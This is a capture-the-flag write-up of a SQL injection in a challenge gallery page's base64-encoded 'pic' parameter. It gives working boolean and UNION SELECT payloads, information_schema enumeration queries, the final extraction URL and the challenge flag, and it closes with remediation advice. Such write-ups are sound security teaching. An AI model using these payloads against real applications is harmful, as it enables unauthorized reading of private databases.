I found the flag by following the gallery's pic parameter from an ordinary animal page into a SQL query. The value looked opaque in the URL, but it was only base64 encoded. Once decoded, the animal name could change the database predicate and supply a result from another table.
This writeup covers only the official challenge at https://challenge-0926.challenges.intigriti.io/challenge.php. The solve was accepted in submission INTIGRITI-T8Z07V6I.
Start with one animal
A gallery entry opened at this URL:
https://challenge-0926.challenges.intigriti.io/challenge.php?pic=Zm94
Zm94 decodes to fox. The page showed one description:
The red fox is a clever, highly adaptable hunter.
That gave me a small input to vary. I kept the path fixed and changed only pic, encoding each candidate as base64 before sending it. For example:
printf %s 'fox' | base64 -w0
# Zm94
The encoding does not make the input safe. The relevant question was what the application did with the decoded text.
Check whether the decoded value changes the query
A decoded fox' produced an empty response. That suggested a quote might have disrupted a query, but an empty response alone could have many causes. I compared a true condition with a false one instead.
Decoded pic value |
Base64 value | Observed result |
|---|---|---|
fox' OR '1'='1 |
Zm94JyBPUiAnMSc9JzE= |
Descriptions for all eight animals |
fox' AND '1'='2 |
Zm94JyBBTkQgJzEnPScy |
No fox row |
The true condition expanded a single animal result into all eight descriptions. The false condition removed the fox result. That pair is the useful evidence: it shows the decoded input controls the database predicate, rather than merely changing how an animal name is displayed.
Find the shape of the result
I next tested whether the page would display a value supplied through UNION SELECT. The following decoded input worked:
fox' UNION SELECT database()-- -
The page showed critter_gallery alongside the fox description. A union with two selected columns returned an empty body, while one selected column worked. This indicated that the visible query result has one column. A separate version() probe returned 8.0.46, consistent with the MySQL behavior used in the subsequent queries.
To enumerate the tables in only the current challenge database, I used:
fox' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database()-- -
The page displayed animals and secret_vault. I then asked for the columns of that specific table:
fox' UNION SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='secret_vault'-- -
The visible columns were id and note. The flag was likely in note, so I queried that column without changing or deleting data.
Read the flag
The final decoded value was:
fox' UNION SELECT note FROM secret_vault-- -
Its base64 form is:
Zm94JyBVTklPTiBTRUxFQ1Qgbm90ZSBGUk9NIHNlY3JldF92YXVsdC0tIC0=
The exact reproduction URL is:
https://challenge-0926.challenges.intigriti.io/challenge.php?pic=Zm94JyBVTklPTiBTRUxFQ1Qgbm90ZSBGUk9NIHNlY3JldF92YXVsdC0tIC0=
The response contained:
INTIGRITI{01a09f56-74a2-700b-a849-ffe6742327b2}
I reopened that final URL and confirmed the same flag. This was a read from the challenge database only.
Why this works
The observations are consistent with an application that decodes pic and places the resulting animal name into a SQL lookup without binding it as data. The first quote changes the meaning of the lookup. OR '1'='1 makes the condition true for every animal, while UNION SELECT adds a result from another table to the one column the page already renders. The trailing SQL comment neutralizes the remainder of the original expression.
Base64 is an encoding layer, not a defense against SQL injection. A real application should bind the decoded value through a prepared statement, validate it against the allowed animal identifiers, and give its database account only the table access it needs. I did not see the server source code, so the exact query construction is an inference from the behavior, not a source code claim.
Evidence views
The baseline fox page showed one animal description. The true condition page showed all eight animal descriptions. The final union page showed the flag alongside the ordinary fox result. Those three views capture the change from expected lookup to predicate control to reading a separate challenge table.
Challenge rules: https://app.intigriti.com/programs/intigriti/challenge0926/detail
Top comments (0)